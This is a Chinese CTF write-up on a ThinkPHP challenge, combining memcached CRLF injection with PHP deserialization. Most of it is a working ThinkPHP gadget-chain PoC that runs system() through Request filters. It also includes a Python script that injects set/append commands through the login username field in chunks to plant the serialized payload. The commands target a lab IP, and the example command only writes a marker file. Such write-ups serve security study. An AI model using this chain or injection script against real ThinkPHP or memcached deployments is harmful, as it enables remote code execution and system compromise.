这题是比赛时没做出来,最后时间稍微有点没来及,没细看起了memcached的服务。memcached的crlf注入是个老问题了,今年研究生的国赛也考到了,可以参考https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
题目附件是给了docker
这题主要的难点是在于一开始如何登录进入后台,因为题目中的数据库为空,所以是查询不到数据的
进容器应该要ps -aux或者netstat -ano看下端口和进程信息
可以发现是启动了memcached。
再去看网站的源码,cache是采用了memcached。
在find函数这会对cache进行查询
再跟进去查看,其实就是调用了config里的memcached的缓存方法,其中使用的memcached类的get方法是存在crlf注入问题的。这里先说下memcached的一些语法。取值采用get key,其中key的长度不能超过250,设置值用set key flag expire_time length 再crlf换行后给出value,其中key是键名,flag的长度是32位,用于客户端标识存储的数据类型。expire_time是用来设置的过期时间,单位为秒,如果大于30天,则会被当成时间戳对待,length则是后续设置的value的长度,大小为64位。这边我们看下php的memcached的拓展对于flag的处理
当flag的值为MEMC_VAL_IS_SERIALIZED(4),MEMC_VAL_IS_IGBINARY(5),MEMC_VAL_IS_JSON(6),MEMC_VAL_IS_MSGPACK(7)时会进行反序列化的操作。这样就可以通过此处的反序列化来触发thinkphp的反序列化链了。但是这里会遇到一个问题就是该题目可控的注入是memcached的get方法。虽然在memcached拓展的源码中并没有发现有对key长度的校验,但是在libmemcached的源码中是有对250的长度进行校验的。所以直接采用set的方式是没法触发的,这里需要采用append命令进行拼接(append命令格式与set相同),从而将反序列化链的poc写入memcached,再访问进行触发。
下面给出反序列化链的poc:
x<?php
namespace think\process\pipes {
class Windows
{
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model
{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx" => "getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
class Request
{
protected $get = ['gml' => 'echo pwned>/var/www/html/zcy.txt'];
protected $filter = ['system', 'a'];
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation {
class HasOne extends OneToOne
{
}
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query
{
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console {
use think\session\driver\Memcached;
class Output
{
private $handle;
protected $styles;
function __construct()
{
$this->styles = ['getAttr'];
$this->handle = new Memcached(); //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
use think\cache\driver\Memcache;
class Memcached
{
protected $handler;
protected $config = [
'session_name' => '//',
'expire' => '1'
];
function __construct()
{
$this->handler = new Memcache();
}
}
}
namespace think\cache\driver {
use think\Request;
class Memcache
{
protected $handler;
protected $tag = 1;
protected $options = ['prefix' => 'gml/'];
function __construct()
{
$this->handler = new Request();
}
}
}
namespace {
$Output = new think\console\Output();
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
$arr=array('password'=>'123',$window);
echo(urlencode(serialize($arr)));
}
用于进行注入的python脚本
x
import requests
import urllib
data=urllib.parse.unquote('a%3A2%3A%7Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bi%3A0%3BO%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A27%3A%22think%5Ccache%5Cdriver%5CMemcache%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A3%3A%22gml%22%3Bs%3A32%3A%22echo pwned%3E%2Fvar%2Fwww%2Fhtml%2Fzcy.txt%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3Bi%3A1%3Bs%3A1%3A%22a%22%3B%7D%7Ds%3A6%3A%22%00%2A%00tag%22%3Bi%3A1%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A4%3A%22gml%2F%22%3B%7D%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A12%3A%22session_name%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A6%3A%22expire%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A13%3B%7D%7D%7D%7D')
proxiex={'http':'http://127.0.0.1:8080'}
username=urllib.parse.unquote('123%00%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0Aset think%3Ashop.admin%7Cadmin1 4 3600 {}%0D%0A{}%0D%0A')
username_append=urllib.parse.unquote('123%00%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0Aappend think%3Ashop.admin%7Cadmin1 4 3600 {}%0D%0A{}%0D%0A')
print(username)
poc={
'username':username.format(128,data[:128]),
'password':'123'
}
requests.post('http://10.81.2.126:36000/public/index.php/index/admin/do_login.html',poc,proxies=proxiex)
data_len=len(data)
for i in range(128,data_len,128):
if i+128<data_len:
poc={
'username':username_append.format(128,data[i:i+128]),
'password':'123'
}
else:
poc={
'username':username_append.format(len(data[i:]),data[i:]),
'password':'123'
}
requests.post('http://10.81.2.126:36000/public/index.php/index/admin/do_login.html',poc,proxies=proxiex)
最后再带着之前设置反序列化的用户名去访问触发反序列化
成功触发